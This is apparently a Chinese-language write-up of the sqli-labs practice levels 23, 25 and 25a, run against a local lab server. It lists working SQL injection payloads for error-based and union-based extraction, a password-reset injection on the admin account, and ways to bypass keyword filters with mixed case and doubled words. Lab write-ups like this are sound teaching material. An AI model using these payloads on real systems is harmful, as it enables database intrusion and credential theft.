http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1 报错出数据库
1
http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1 查询所有的数据库,使用limit进行逐个查询。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass' UPDATE users SET PASSWORD='123456' where username='admin'
select {x schema_name} from {x information_schema.schemata}; select {x 1};
fuzz测试
可以使用burpsuite配合手工进行测试,后期测试成功后再用脚本进行处理。
大小写绕过
1 2 3 4 5 6 7 8
如果对关键字and or union等进行了过滤,可以考虑使用大小写混合的方法 Or aNd UniOn 但是很多时候有函数会部分大小写进行过滤,这个时候我们可以考虑使用双写的方法 8. 关键字重复 OORr or 9. 关键字替换 如果还是无法绕过,可以考虑替换的方法 and == && or == || like可以替换 = <> 等价于 !=
Less-25
网页里,作者给出了一个提示,发现or被过滤了,我们尝试双写
双写的情况下,我们开始测试
1 2 3 4 5 6
1. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,3--+ 获得回显位置 2. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,schema_name from information_schema.schemata --+ 根据提示我们可以到所有的or都被替换了,所以所有位置的or都需要写两次 3. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+ 取出所有的库 4. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+ 取出所有的表 5. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 取出所有的字段 6. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 取出字段中的值
1. http://127.0.0.1/sqli/Less-25a/?id=1 页面显示正常 2. http://127.0.0.1/sqli/Less-25a/?id=1' 此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹 3. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,3--+ 可以使用联合查询,当我们使用联合查询注入时: 4. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库 5. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段 6. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值